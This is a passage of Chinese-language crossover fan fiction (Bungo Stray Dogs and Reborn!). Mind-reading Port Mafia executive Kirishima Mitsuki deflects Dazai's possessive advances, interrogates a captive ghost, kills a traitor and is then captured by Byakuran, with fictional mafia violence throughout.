可爱和爱也有差别,这种感情对刚能感知到情绪的雾岛光希而言太过超前,使得他无法对太宰治说出反驳的话。 “要不是光希总说我是你的弟弟。” 太宰治故意道。 “我一个星期就能追到光希。” ……他在胡说八道什么? 雾岛光希拧眉:“我对男人和男人间的事情不感兴趣。” “我也不感兴趣。”太宰治扬起眉梢,“我对女人也不感兴趣,我只对光希感兴趣。” 太宰治低下头看他:“难道不是我喜欢光希,光希也喜欢我就可以了?” “……”这叫什么道理。 雾岛光希愣了下,这才反应过来,自己原本是坐在沙发上,不知什么时候就变成半躺着。他腰抵在沙发的扶手上,身体为了拉开和太宰治之间的距离不自觉地后倾。弧形的线条拉长,反而显得现在的姿势不太妙。 沙发的长度容纳不下雾岛光希优越的身高,青年的一条腿在沙发上,一条腿却踩在地毯。太宰治屈起的膝盖抵在他的两腿之间,微微俯下身看他,令雾岛光希想坐起身也没办法。 这就是太宰治能低头看他的原因。 “我是来劝你好好工作的。”见太宰治还没察觉到现在的古怪,雾岛光希沉默了一会。 “我不是一直都在好好工作?”太宰治理所当然,“港口黑手党的生意最开始是我做起来的,监听路线和战时指挥系统也是我设计的,就连中也的宝石线也是我给他的。” 雾岛光希脖子上之前被太宰治咬的地方只留下了一个浅粉色的痕迹。就像寻常的伤口,黑色的痂脱落后,白色的条索就是纤维组织曾经努力缝补着自己主人的证明。 太宰治着实是个很恶劣的人。 在那位异能力者为太宰治创造出的世界里,太宰治的恶劣程度比现在有过之而无不及。他爱在雾岛光希身上留下各式各样的痕迹,不管是身体里还是身体外,雾岛光希的情绪越稳定,太宰治就越乐忠于看到他因为自己而崩溃。 其实不光是因为太宰治知道那是假的,才不想留在那个世界。 只是太宰治一想到这样的光希会被第三个人看到,他就微笑着把施术者抓了出来。 雾岛光希不知道这些。 他问太宰治:“中也把宝石线管理得很好,你总针对他做什么?” 太宰治的回答很直白:“就是因为光希总是这样夸中也,所以我才会提到小蛞蝓的名字。” 雾岛光希:“中也就没有你这样的反应。” 太宰治:“中也的脑子构造里没有这一环。” 中原中也有这样的反应,等于中原中也开窍了。 中原中也要是开窍了,太宰治就要把他弄去出差。 别人太宰治姑且能忍受,中也那是绝对不行的。中原中也某种意义上是太宰治带进来的,光希要是喜欢他,那太宰治成什么了?一手促成自己喜欢的人和自己的敌人在一起? 【索性下次把中也药倒,打包送到警局算了】 今天第一句听到的太宰治的心声,却是他又要暗算中原中也的事。 雾岛光希欲言又止,太宰治却叹了口气,仿佛真的验证了雾岛光希觉醒了知道自己心中所想的特殊技能。 雾岛光希:“你叹什么气?” 太宰治:“谁知道呢。” 雾岛光希:“……从我身上起来。” 太宰治:“光希还没答应我。” 雾岛光希:“答应你什么?” 太宰治:“把你所谓的未来重新规划一遍。你再把我扔给森先生,我就把森先生的金库密码贴在楼下大门上。” ……所以他果然还是在记恨自己在他十四岁的时候,把他带到森鸥外的私人诊所,拜托森鸥外帮自己看一下他的事。 雾岛光希安静了很久。这种沉默如刀劈斧凿般在房间里蔓延着,这样近的距离下,太宰治总算意识到别人说的光希很漂亮是什么意思。 纤长的睫毛颤抖着,灰色的眼睛里倒映出太宰治的脸,他的眼眸中潋滟着鸢色的光彩,令太宰治有一瞬产生了要逃跑的冲动。 也许是和雾岛光希太熟了的缘故,太宰治还是一次发现雾岛光希的确长得挺好看的。 但雾岛光希长什么样,太宰治都无所谓。他们的命运在那刻雾岛光希在他面前停下脚步,问他怎么一个人躲在这里时就已经注定。 为了避免雾岛光希听见自己的心声,太宰治思考另一种让光希改变心意的策略时,不得不花费比平时多两倍的心思。 “我答应你。” 可雾岛光希这么说。 太宰治的神色空白了两秒,也正是这两秒,令雾岛光希听到了太宰治泄露的心声。 【……】 雾岛光希抿唇,隐约意识到现在的局面和自己一直纵容着太宰治也脱不开关系,于是深吸一口气,起身将太宰治拎去了浴室。 花洒里的水流冰冷,太宰治的浑身湿漉漉的,抬眼看向拿着花洒对准自己的雾岛光希。 所有人都觉得雾岛光希很好追。然而也许是他们的干部脾气太好了的缘故,总让与他相熟的人忽略了雾岛光希是港口黑手党武力的象征。 雾岛光希眯了眯眼,就这么对自己亲爱的弟弟警告道:“不准想。” 跟当初押毛茸茸的小黑猫去洗澡时一样。 “太宰治。”雾岛光希的语气愠怒,“尽管那些手段的确是我教你的,但我可没教你把那些手段用在我的身上。” 太宰治站在浴室里,冰冷的水从身上流下也不反抗,只注视着面前的雾岛光希。 雾岛光希说:“给我改掉。” 太宰治依旧没说话。过了很久,就在雾岛光希以为自己是不是太过分了的时候,少年却扯动唇角,笑容比起之前反而显得明朗了些。 太宰治的嘴唇动了动,他的样子看起来狼狈又可怜,连同他的心声一起,轻声道:“好啊。” 【光希哥不喜欢,那我就不做了】 雾岛光希握着花洒的手不自觉地收紧。 雾岛光希周围相处的人有0个交往对象,雾岛光希没见过正常的情侣,也没见过不正常的情侣。可就算他再迟钝也知道,太宰治这可不是认错的眼神。 步步为营,吞之入腹。 雾岛光希隐隐察觉到,或许就连这次谈话发生的时机,都在太宰治的预料之内。 不是温柔了。太宰治如果不离开黑手党…… 雾岛光希神色微妙地看着他。 二十岁的太宰治,会成为比森鸥外更可怕的首领。 第52章 雾岛光希没把这个想法告诉太宰治本人。随着密鲁菲奥雷在日本的基地建成,每到夜幕降临,就能听到连绵不断的哀嚎。 雾岛光希的雨鹰每天晚上九点准点出门巡逻,雾岛光希看着它飞远了,就带着书往地下室的那个房间走,一小簇青色的火炎飘在房间的半空中,只有在见到雾岛光希时才会勉强变成人形。 “肮脏的味道。”ghost盯着拉开椅子坐在的雾岛光希,良久挤出这样一句。 ghost经常说类似的话。雾岛光希起初以为自己身上真的沾了什么东西,结果后来发现,ghost只在他在路上碰到太宰或者中也时才这么说。 “昨天晚上,密鲁菲奥雷的人埋伏了久作。”雾岛光希将书翻到上次看到的地方,轻描淡写地说,“他们让我用你换久作,看来你对白兰而言的确挺重要。” ghost:“他们得逞了?” 雾岛光希:“没有。” 那ghost就又不是很想说话了。 “阿莱西奥。”他站在雾岛光希的身后,指尖缠着雾岛光希的一缕银发,“如果我想吸干你的火炎,那你现在连抬手都做不到。” ghost从小就逃离了白兰杰索的身边,虽然两个人有着同样的脸和身体,但ghost本质上和作为密鲁菲奥雷首领的白兰杰索是两个人。 “真好。”雾岛光希的手肘搭在桌上,他屈起的指节撑着脸,回答得漫不经心,“才一分钟,你就告诉我白兰为什么对你这么执着了。” 让ghost把彭格列的那几位守护者火炎吸干,那剩下的白兰杰索甚至不需要怎么努力,轻而易举地就能把他们打败了。 【阿莱西奥为什么不怕我?】 ghost百思不得其解。 也许是被ghost弄烦了,雾岛光希下意识地想挥开ghost玩自己头发的手,然而手掌穿过ghost的手臂,雾岛光希除了感觉皮肤被火炎燎得有些痛以外,显然碰不到这个来自异世界的幽灵一点。 ghost之所以能作为白兰杰索的杀手锏,是因为所有的攻击都对他无效。这和有些能将自己身体元素化的能力者类似,ghost不仅能屏蔽所有攻击,还能通过吸收别人火炎的方法,令敌人丧失行动能力的同时,令他自己变强。 白兰会的他也会。 白兰不会的他也会。 在白兰的计划里,ghost一开始不应该拥有自我意识,ghost能像人一样说话,这是白兰杰索痛恨雾岛光希的原因。 雾岛光希倒不介意白兰杰索多恨自己,他只是对ghost说:“你能不能给你自己变件衣服。” ghost低头看了眼自己的身体:“反正也没有其他人看见,有什么关系。” 雾岛光希:“我有点想把你送给白兰了。” ghost微笑:“那正好。我会接替他的身体,比他更快完成令这个世界洗牌的工作的。” 【把阿莱西奥接回以前的家里】 【只有我们两个人】 【在阿莱西奥面前把他在意的人都杀了,特别是那个叫狱寺隼人的家伙,谁让阿莱西奥那时候想跟着他去日本】 ghost最开始的确只把阿莱西奥当成自己的好朋友。毕竟那时候他的力量很弱,只有阿莱西奥能看得到他,在叽叽喳喳的阿莱西奥的努力下,ghost从没有感情的一团火炎,成长出了自己的意识。 阿莱西奥戴着头纱,问狱寺隼人好看吗的那天,是ghost第一次拥有自我意识的那天。 阿莱西奥有了新朋友。 阿莱西奥不再只和他讲话。 阿莱西奥每次和他聊天的话题围绕着狱寺隼人。 狱寺隼人和阿莱西奥说,ghost是不存在的,没人能看到ghost,那是阿莱西奥生病产生的幻觉,只要他好好吃药,就不会再看到ghost了。 ghost听着这些话,那时候微笑着对看过来的阿莱西奥说,很好看。 戴着头纱的阿莱西奥又对狱寺隼人开心地笑了起来。 阿莱西奥毁了他,那他也要毁了阿莱西奥。 “世界灭绝到底有什么好玩的?”雾岛光希不知道ghost的心路历程,听到ghost的话皱起眉头。 “因为很无聊啊。”ghost理所当然地,“警察、老师、科学家——由于能共享平行世界的记忆,对我们而言所有的人生都已经体验过了,不这么做的话,就和已经连续看了一百遍的电影,还要从头开始看一样,有什么意思?” 为了寻找乐趣,白兰杰索想出了毁灭世界这一招。他乐此不疲的,跟玩游戏似的,把和平的地方弄得尸横遍野,还拉拢了不少和他有相似想法的同伴。 雾岛光希想了想,被他说服了。 于是雾岛光希在房间里装了个电视,开始一天给ghost放一百次同一集法治社会。 ghost有点生气。他那天吸走了雾岛光希一半的火炎。这令雾岛光希变得有些虚弱,然而青年矜贵地坐在那里,依旧雷打不动地播放了一百零一遍,还朝ghost笑了一下。 ghost:“你就是仗着我不想杀你。” 雾岛光希把电视里审判庭的声音调大:“既然你都知道结果了,那不如我们继续谈谈有关白兰杰索匣兵器的事。” 【白龙那个废物有什么好说的】 “吉尔菲戈尔不是真的六吊花吧?”雾岛光希把之前从吉尔那拿到的戒指拿出来,“虽然之后我每次出门,的确有人想通过袭击我拿回这枚戒指,但袭击我的人和那天劫走入江正一的人不是一个水平,这是假的?” ghost瞄了一眼红色的小翅膀戒指。 啪的一声,他把雾岛光希手里的戒指打掉了。 电视机的法治社会依旧在播放着。雾岛光希揉了揉手腕,又朝ghost笑了一下——然后走出门,把ghost在房间里晾了两天。 直到第三天,雾岛光希教会了自己的一些部下学会使用匣兵器,才在森鸥外的要求下又走了回来。 港口黑手党这些天从意大利大量购入了指环和匣武器,他们穷得只剩下钱,A级指环买了不少。雾岛光希和加百洛涅签合同的时候,迪诺以为是雾岛光希自己要用,遂有些担忧地问他,总不会是打架的时候要往口袋里揣一把,他都没见过恭弥,怎么跟着恭弥学坏了。 见雾岛光希回来,ghost铁了心不和他说话,心声却暴露了相关的情报:【等我出去,就先解决白龙,那家伙除了飞得快和能变成箭往别人身上戳又没什么用,还有桔梗他们几个——】 所以真正的六吊花里,有个人叫桔梗。 雾岛光希照常看完书,既然ghost不和他说话,他也不打算主动和ghost说话,只是第四天来的时候抱了捧桔梗花,气得ghost七窍生烟。 ghost:“这是什么?” 雾岛光希:“花。” ghost:“好臭。把他从我的房间里拿走。” 雾岛光希:“这不是你的房间,是用来关押你的监狱,请你有自知之明。” 【修罗开闸后就会变成迅猛龙的丑八怪,战斗力还不如石榴】 雾岛光希灵机一动,敲定了今天的晚饭。他一进一出的,ghost刚把新鲜的桔梗花烧成灰烬,转头就看到雾岛光希在那里剥石榴吃。 嫩红色的汁水浸湿了他的指尖,雾岛光希刚把剥下的石榴皮扔进垃圾桶,一抬头就看到ghost把他剥好的石榴倒在地上踩。 雾岛光希洁癖犯了:“你的脑子是不是有问题。” ghost:“是那个叫森鸥外的人教你的吗,真是卑鄙无耻。” 【岚属性的大叔而已,为了向白兰表明自己的决心,把他自己的故乡全都毁灭了。一点也没有审美地爱在岩浆里泡澡,修罗开闸后就会变成怪力的红色恐龙】 你这不都全部说了吗。 “阿莱西奥。”ghost幽幽地,“你该不会和那个彩虹之子一样,有读心术吧。” 雾岛光希面不改色:“Reborn先生没有读心术,我也没有,请相信科学。” ghost这几天已经把法治社会看了一千多遍,他现在听到里面记者的声音就想吐,偏偏电视上只有这么一个栏目,雾岛光希自己悠闲自在的,ghost试图寻找出能攻击到他精神的办法,然而雾岛光希已经把所有能令他感到伤心的事都经历了一遍,他现在可以说是无坚不摧,也就ghost把地板弄得黏糊糊的能打击到他一点。 雾岛光希:“去把地上擦干净。” ghost:“让清洁工做。” 雾岛光希:“我有傻到把人送进来给你杀吗?” ghost:“我不用动手就能杀了彭格列他们,我才不做这种事。” 雾岛光希把自己的头发从他手里扯回来:“太脏了,别碰我。” “……”ghost用火炎捏了一个自己的q版小人,q版小人哼哧哼哧地抱着拖把,心甘情愿地去拖地了。 外表看着多可爱。可惜和ghost一样,这家伙心里除了恶毒就只有恶毒。 “阿莱西奥。”ghost凝视着自己的q版小人,“我讨厌白兰,但白兰的确是另一个我。就算你勾/引我,我也不会帮你打他。” 雾岛光希批阅着白天没处理完的文件,头也不抬:“我没有勾/引你,我讨厌你,你多虑了。” ghost没说话。 雾岛光希抬头,见ghost的q版小人四仰八叉地倒在地上,眉头一挑,恶毒的话从唇角溜了出来:“哇哦。你也知道什么是伤心?” ghost从这天开始,就真的一句话也不和雾岛光希说。 他发现了自己的新乐趣,除了用火炎捏了个自己的q版小人以外,还用火炎捏了个q版的雾岛光希。 因为本来就是用从雾岛光希那里吸走的火炎弄的,所以对ghost来说q版小人和真的阿莱西奥也没什么区别。 房间里装了监控。雾岛光希有时候出任务,就会在手机上的监控看到q版ghost在和q版的自己在花盆里种花,要么就是把种出来的花当树爬,爬着爬着就不太对劲。 嘿咻,嘿咻。 雾岛光希暗灭手机,当天晚上就忍无可忍地把ghost房间里所有能用来娱乐的设施搬空了。 q版的ghost和q版的阿莱西奥蹲在角落里,看到生气的雾岛光希瑟瑟发抖。 “你再做这种变态的事,我就——” “阿莱西奥。”ghost异常乖巧地站在一边,打断了雾岛光希的话,“白兰到日本来了,放我出去,我能保护你。” 雾岛光希瞥了一眼那两个看到自己就到处乱窜的小人,他们一个在心里想着【那是谁呀!阿莱西奥!】,一个在心里想着【我也不认识他,不要躲我后面!】,倒显得自己才是那个坏人。 “我不要你保护。”雾岛光希说,“我巴不得他到日本来。” 【没有人可以阻止白兰】 【白兰早就知道入江正一是卧底,甚至知道自己身边的秘书是六道骸变的,他会以此把六道骸引入陷阱里,顺便把六道骸杀死】 【如果说白兰摧毁了一百遍世界,那他就杀了六道骸一百次,那家伙所有的招数都被白兰破解了,甚至都撑不过五招的——】 雾岛光希警觉。 他注视着ghost,面无表情地逐步后退。而ghost并没有攻击他的意图,也没有要再吸走他火炎的意思,由于沙发也被搬走了,ghost只能盘腿在地板上坐下,一抬手,q版的两个小人就跳上了他的掌心。 ghost的长发遮住他光/裸的后背,抬眼看向雾岛光希。 “好吧。”他说,“那阿莱西奥,我就等着你来求我。” 【除此之外,我也不知道白兰计划里的其他环节了】 异想天开。 雾岛光希没话可以和他说- 雾岛光希把这些情报告诉了森鸥外。森鸥外有些惊讶,对于什么拷问手段也用不上的ghost而言,雾岛光希在短时间内竟然能从他那里弄到这么多情报。 “看来ghost君真的很喜欢你啊。”森鸥外感慨道。 雾岛光希依旧面无表情,中原中也左顾右盼,不知道该看哪,魏尔伦和尾崎红叶一个人喝着咖啡一个人喝着茶,只有太宰治漫不经心地回了句:“大清早就倒人胃口,不愧是森先生。” 魏尔伦看向尾崎红叶:【他怎么了?】 尾崎红叶笑而不语:【鸥外大人和光希似乎是打算把太宰培养成下任首领】 中原中也面如菜色:【这么早就开始做预备方案,老大未免也太谨慎了】 森鸥外听了也不生气:“光希君。” “不要什么心里话都说出来。”雾岛光希对太宰治说道,“就像谈判的时候,尽管坐在对面的是讨厌的人,也不能骂他是某种动物一样。” 太宰治:“我是不会接森先生的烂摊子的,光希,你死心吧。” 当首领对太宰治而言,除了可以正大光明地嘲笑中也以外,没有一点好处。毕竟雾岛光希又不会因为他是首领就对他言听计从的,以首领的操心程度,太宰治觉得自己没当两年首领就会和森鸥外一样变丑,那等光希二十七岁的时候,他对光希已经没有一点吸引力了,Q那烦人的家伙绝对会上蹿下跳,在他面前夸中也和公关官。 雾岛光希:“……” “言归正传。”雾岛光希又汇报道,“昨天晚上,瓦里安的上任雾守,也就是七位彩虹之子之一的玛蒙确认失踪。” 森鸥外不以为意:“他和彭格列的那位门外顾问是最后的两个了吧。” “严格意义上还有拉尔女士。”雾岛光希纠正他道,“但毕竟拉尔女士是不完全的彩虹之子,白兰对她似乎没什么执着。” 彩虹之子的力量是七的三次方之一,彭格列指环已经没了,白兰杰索当然不可能放过彩虹之子。 “还请您最近不要擅自出门。”雾岛光希道,“在白兰到达以前,中也会将您转移到秘密基地。” 就跟当初魏尔伦袭击港口黑手党一样,除了几位干部,根本没人知道森鸥外转移去了哪里。 “但如果白兰君有着所有平行世界的记忆。”森鸥外若有所思,“不管我藏到哪里,白兰君都能找到我吧。” 【所以就是我是明天死,还后天死的问题】 森鸥外倒是想得开。 “不能把那家伙引到地下室的那个房间去?”中原中也问。 “白兰君和ghost君本质上是一个阵营。”太宰治撑着脸,“让他们碰面,只会让白兰君说服ghost君而已。” 会议开了将近一个小时,也没讨论出什么能真正离间那两个人的情报。一直到晚上十点,中原中也照常带队去巡逻,太宰治也照常去监控室根据横滨的现况布置照常。 魏尔伦从雾岛光希身边走过时,垂眼说了一句:“你决定好了?” 雾岛光希假装听不懂,见走廊上吵吵闹闹的太宰和中也回头,象征性地朝他们笑了下:“我什么也没决定。” “那很残忍。”魏尔伦道,他的肩膀上落了月光,金色的长发编成辫子,搭在肩上,“我收回以前的话,你是位好兄长。” 雾岛光希迈步向前走去:“不用你说我也知道。” 雾岛光希的宿舍更换了密码。他有不得不更换密码的理由。 消失的玛蒙面色苍白,他看上去不过是40cm的小豆丁,曾经却是被称为“毒蛇”的幻术师,能被选为世界上最强的七人之一,不管是以前还是现在,玛蒙都没有这样狼狈的时刻。 然而随着七的三次方射线遍布全球,见雾岛光希走进房间,玛蒙光是从桌子上爬起来就已经耗费了全部的力气。 雾岛光希把他抱去了床上,被子一盖,玛蒙就彻底昏迷了。他发起了高烧,自身的免疫系统紊乱,就算没有人攻击他,也活不了多久。 就跟现在远在意大利的Reborn一样。 “ciaos,光希。”世界第一的杀手先生打起招呼依旧充满活力,“你的邮件我收到了,没想到你能恢复记忆,你哥哥知道了一定很为你高兴。” “那五十锤令我醍醐灌顶。”雾岛光希走到窗边,“以及您不需要用斯库瓦罗说服我,我知道这样做是对的。” 【他就是斯库瓦罗的弟弟?】 昏迷中的玛蒙听到了他们的对话,呼吸急促,感到一只冰凉的手落在自己的额头。 “你就是不想做,也没有人责怪你,毕竟谁也不知道那个计划会不会成功。” 雾岛光希低笑,没有回答这句话,只是问:“您还好吗,Reborn先生?” 意大利的某个角落,Reborn站在树上,目光扫过周围包围自己的敌人,和玛蒙一样发着高烧:“大概还能活到你那边结束的时候。” 甚至没有为沢田纲吉举办葬礼的时间,自从沢田纲吉死后,打击就接二连三的,现在连这位曾经在雾岛光希眼里,看起来是无敌的门外顾问也即将面临死亡。 “山本君让我相信沢田君。”雾岛光希说着,目光落在自己被敲响的宿舍门上,“既然沢田君都有信心,那我也没有退缩的理由。” 有这层楼门禁的,只有中也,太宰,森鸥外,还有几位干部。 雾岛光希知道门口的是谁。 “有需要我带给斯库瓦罗的话吗?”Reborn问他。 雾岛光希无奈:“您还是先照顾好您自己吧。” “用这种语气和我说话,光希,有机会我会赏你第五十一锤的。” 雾岛光希心情愉悦。 “我等着您。”他说。 雾岛光希挂断了电话。 敲门声又响了起来,那人的声音嘶哑,语气不善地说:“雾岛,我听到你在了,躲什么,快给我开门!” 【不能去】 随着雾岛光希落在玛蒙额头上的手挪开,玛蒙的心声响了起来。 【他是……】 “帕比。”雾岛光希低声道。 没有寒暄,也没有前兆。 雨鹰张开翅膀,湛蓝的雨之火炎覆盖住雾岛光希握在手里的剑,随着雨鹰的啼鸣,玛蒙强撑着睁开眼,恍惚中仿佛看到了斯库瓦罗的背影。 【细数着战斗历程,冲洗着流淌的鲜血,宛如镇魂歌般的雨】 庞大的火炎冲破了门板和玻璃,银色的电流围绕在门外那人的周身,使得他暂时逼退了雨鹰,在这样的火炎中站起了身。 港口黑手党从先代时期就当上干部的人之一,一直驻扎在海外,这个时候在没有命令的情况下突然回来…… “好久不见。”雾岛光希朝他点头,“黑川先生,听说了您叛变的消息,我为此深深地感到遗憾。” 黑川大和眯起眼:“故弄玄虚的小鬼,你的话现在倒是多着嘛。” “毕竟处决叛徒是我的使命。”雾岛光希道,“请放心,在取下您的首级后,我依旧会按照规定在您的胸口开上三枪,最后踢碎您的下颌和后脑。” 【不是斯库瓦罗】 玛蒙努力坐了起来,他向来见风使舵的,除了爱钱以外,打不过就会逃跑。然而玛蒙知道自己现在已经没有可以逃跑的地方,他想起xanxus从冰冻里解封的那年,斯库瓦罗正在和人打扑克,因此被xanxus揍了一顿,还听说了自家弟弟跑去沢田纲吉那边的消息。 斯库瓦罗说阿莱西奥是杀不了沢田纲吉的。贝尔菲戈尔就在旁边嘲笑,原来白痴长毛队长的弟弟这么弱吗。 斯库瓦罗冷哼,那时候的回答是—— 【“阿莱西奥在剑术方面可是很有天赋的,看过几遍的剑法就能记住,教过他一遍的东西过了几年也不会忘记。有天赋也就算了,那小子还总觉得自己没用,搞得每天练剑起早贪黑的,害得我每天都要挑战几个不同流派的剑士才有新的东西教他。”】 【“阿莱西奥那小混蛋只是——”】 [时雨苍燕流,第八式] 和教会山本武鲛冲击等价的,山本武在分享自己的剑法方面对雾岛光希也毫不吝啬。 雨点打在身上,就如数千把小刀一样刺入皮肤。 ——只是没有合格的玩伴。所以有人一旦对他太好,他就会和没用的小鬼们交朋友。 刀刃在电流中刺进黑川大和的胸口,在没入一寸时被对方牢牢握住,黑川大和冷笑一声,一个抬手,自己的部下便从走廊的两端走了出来。 “小子,你和我的经验是有差距的。”黑川大和扬起下巴道,“还有什么遗言吗。” 【雾岛光希这人,似乎从九年前就瞧不起我,他以为我忍辱负重,为了那个无聊的医生工作到今天是为了什么?】 “您中计了。”随着青年的这句话落下,黑色的球体合拢,一百多个黑手党惊慌失措的,彻底被和外界隔绝在外。 “我没有瞧不起您。” 黑川大和瞳孔骤缩:【他怎么……】 名叫[帕比]的雨鹰在黑色的球体合拢前飞出,将捆在脚上的情报带给了首领室中的森鸥外。 雾岛光希的单手按在胸前,按照流程最后和作为自己前辈的黑川行了个礼。 “黑川前辈,祝您的灵魂在地下过得开心。” 黑川大和:“说人话。” 雾岛光希眼也不眨。 他回:“请下地狱去吧。”—— 作者有话说:*即将在60章前写到可以分结局的地方[垂耳兔头] 第53章 白兰杰索听说雾岛光希能使用火炎后,倒也不是特别惊讶。都怪另一个自己所致,明明只要不刺激雾岛光希,在其他的平行世界里,到死那家伙都没学会使用火炎。 “港口黑手党里,比较难缠的无非就是太宰君和中原君。” 突然出现在密鲁菲奥雷日本基地里,白兰杰索翘着二郎腿,悠闲地捏着手上的棉花糖,全然无视周围低着头的白魔咒们,自顾自地对入江正一说道。 “解决他们的办法我也早就在其他世界试验过了,让黑魔咒把他们引出来,只要踩进陷阱,很轻易就能解决了吧。” 入江正一有点胃疼:“那黑魔咒的伤亡情况……” “他们当然是能死多少死多少。”白兰杰索笑眯眯道,“反正本来也是尤尼酱那边的人,对吧?” 入江正一无言以对,只觉得胃更疼了。 “雷欧君。”白兰杰索抬眼,示意自己的随身秘书,“这件事就由你去做,我可是对你寄予了很高的期望的。” 雷欧低下头:“是,白兰大人。” 读作雷欧,写作六道骸。 六道骸低下头后就没再将头抬起来,他在心里冷笑着沢田纲吉竟然随意就给自己指派了任务,等对方从三途川的尽头回来后,他一定要给对方一点教训,免得沢田纲吉总是随意指挥自己。 六道骸可不认为自己是彭格列的成员。 他甚至都不觉得他自己是黑手党。 “既然你的目的是那两个孩子……”入江正一叹了口气,“让黑川他们去针对雾岛做什么?” “啊!”白兰瞬间孩子气地叫起来,“小正是在偏袒雾岛君吗!明明才和他相处了一天不到的!” 入江正一喊回去:“你清醒点!雾岛可是把我的手打断了!我怎么会偏袒他!” 白兰杰索看了眼入江正一缠着绷带的手,由于一开始就知道对方是彭格列那边的人,怀疑这是入江正一自己弄断的。 小正为了不露馅还真是努力,看在小正这么努力的份上,白兰决定还是不拆穿他了。 “是为了测试雾岛君的火炎数据。”白兰杰索道,咬了口棉花糖,“不过根据传过来的信息,雾岛君似乎知道了我的意图,招数用的是我早就知道的山本君的,火炎的输出也故意控制了……” 六道骸暗暗记下白兰杰索的话。 “你说呢?”白兰杰索突然道,“雷欧君也觉得,如果我把太宰君的尸体挂在雾岛君面前,雾岛君绝对会憋不住,把所有招数都扔到我脸上的吧。” 六道骸还得扮演雷欧这个角色,他羞赧地笑笑,回答得滴水不漏:“白兰大人的计划是完美的。” 说到底,雾岛光希怎么样都和他没有关系。就算白兰杰索折磨的是山本武或者狱寺隼人,六道骸也懒得管他们。 除非是他可爱的库洛姆,那六道骸多少还是要管一下。 基地的警报在这时忽然响了起来。 “不好了!入江大人!”门口有个白魔咒连滚带爬地跑进来,目光在触及白兰杰索时一愣,瞬间忘了自己原本要说的话。 不过就算他忘了说,白兰杰索也已经知道了。 白兰杰索不得不放弃自己的棉花糖,随着柔软的棉花糖掉在地上,白兰杰索双手轻轻一拍,直冲自己面门的火炎便被[白拍掌]消抹干净。 雾岛光希手上拎着的东西血淋淋的,白兰杰索面无表情地看着,注视了一会才勉强认出那是被自己洗脑的黑川大和。 “雾雾雾岛。”入江正一后退了两步,被这血腥的画面吓了一跳。 【为什么他会在这里啊!!好好和港口黑手党的战力待在一起不才是原本的计划吗!】 听到入江正一的心声,雾岛光希的眼瞳才挪动了一下。他缓缓转过脸来,像是确定声源般地松开手,听到一堆开匣的声音。 六道骸平静地看着他。 “这是什么招数?”白兰杰索没有动作,他的手掌松开,坐在沙发上,就这么看着黑川的头颅往前滚了滚。 雾岛光希微笑:“我来做客。顺便把戒指还你。” 雾岛光希身上的伤势着实不太妙,看着恐怖,但也不至于让他没有还手的力气。他这么一路杀过来,就算白兰原本也只把自己的部下当成蚂蚁,可蚂蚁死得太多,白兰也稍微也有点心疼。 白兰杰索叹了口气:“你还不如用火炎呢。” 异能用到那种程度,就跟中原中也的污浊一样,对自身是有反噬的。 白兰杰索撑着脸,在入江正一惊愕的视线中,对雾岛光希道: “光希君,你已经看不见了吧。”- 这是雾岛光希第二次失明。因为知道是暂时性的,雾岛光希对于自身的情况接受良好。 白兰杰索暂时把他关了起来。起初白兰也不禁止别人去看他,直到雾岛光希说出“桔梗”这两个字,白兰才脸色一变,不许其他人靠近雾岛光希一步。 “ghost背叛了我。” 六道骸从白兰杰索那听到了这句。 【桔梗是什么?】 隔着一道门,雾岛光希听到了六道骸的心声。 由此,雾岛光希确定了,六道骸与山本武他们没有联系。 那就有点难办了。雾岛光希试图把让他快逃的情报传递给六道骸,可房间里的监控二十四小时开着,雾岛光希光是往门那边多走几步,白兰杰索的声音就会从扬声器里传出来。 “小正可是在为了我努力工作,光希君你要是无聊,不如先想办法活下来吧。” 白龙化作锐利的箭,贴着雾岛光希的脸颊而过。 雾岛光希的腿撞上桌角,他用手摸了摸周围的物品,在脑中构造出的地图上又多加了个桌子的形状。 就这样度过了漫长的六个小时,当白兰杰索结束工作,再次看向监控的时候,白龙已经在地上奄奄一息了。 雾岛光希依旧没使用火炎,白兰杰索看着他已经适应环境地低下身,试图用异能将白龙炸死,在雾岛光希动手前,只能将白龙收回了匣子里。 所以ghost竟然连白龙的情报也告诉了他。 白兰之前觉得,ghost就算不想被自己利用,也是和自己异体同心的,他们在弄死彭格列这方面达成了惊人的共识,再怎么样,ghost也会在最后站在自己这边。 白兰杰索现在有些不确定了。 他刻意抹去了自己的气息,走近雾岛光希身边时没发出什么动静。 由于一开始没掌握这个房间的布置,雾岛光希在和白龙的缠斗中吃了很大的亏。他的眼睛没有焦距,雪色的睫毛上挂着血珠,衣服也被划开了很多道口子,白兰杰索看着他把桌子拆开,用一小团火炎把木头烤热,随后面不改色地按在身上出血的伤口上。 伤口发出刺啦刺啦的声响,白兰杰索目不转睛地看着,注意到雾岛光希做完止血的动作后,就不再动了。 窗外飘着雪,这是很寒冷的冬天。 【反正他现在也看不见,我就骗他太宰君死了怎么样?】 白兰杰索恶从心头起,却没有主动开口。他很有耐心地等待着,等待着,直到雾岛光希若有所感地念出一句“白兰?”,才愉快地勾起唇角。 “是在离间我和ghost吗?”白兰杰索笑着问他。 “在你派黑川来之前,我的身体就不太好了。”雾岛光希不太在意地道,“如果那样的异能只能再用一次,当然是用在做有价值的时候。” 留在港口黑手党也发挥不出更大的价值,雾岛光希这段时间吃什么吐什么,他本来想在做这些事前,至少再邀请大家聚一次,可惜雾岛光希担心自己忍不到晚上回宿舍再吐,视力也越来越差,正巧白兰给他递了个“休息”的理由。 “外面下了很大的雪哦。”白兰杰索说。 【那ghost是不是也把我早就知道雷欧君是六道骸的事情告诉了他?】 【或者我早就知道纲吉君会把十年前的他们换过来,之所以允许这么做,是因为十年前的纲吉君他们有着完好无损的彭格列指环】 雾岛光希敷衍地“嗯”了句,刻意放慢了呼吸的频率。 白兰:“你想出去看雪吗?” 雾岛光希:“你在嘲讽我?” 白兰:“铃兰酱的腿也是我治好的,光希君要是想看雪,把你的眼睛治好也可以。” 所以还有个人叫铃兰。 雾岛光希:“谢谢。我不需要。” 原来如此。白兰是靠着这种手段,使得他的守护者对他死心塌地的。 白兰撑着脸,蹲在雾岛光希面前:“你到底在算计我什么呢?光希君,告诉我你把消息传递出去的方法,我就放过你。” 没人回答白兰的话。 白兰杰索伸手,蹭开沾在雾岛光希脸上的长发,确认他已经没有反抗的力气后,才把有着治愈能力的晴们叫进来。 雾岛光希身上的伤口很快就愈合了。 这是没有意义的事,毕竟白兰杰索明天还会在他的身上添上新的伤口,晴的火炎燃烧着,连带着雾岛光希之前被ghost烧断的头发也长了出来。 白魔咒们见风使舵地收拾着房间内的一片狼藉,他们看着自己效忠的白兰大人坐在床边,来不及细看,就被上司踹了一脚,连滚带爬地回到了外面的走廊上。 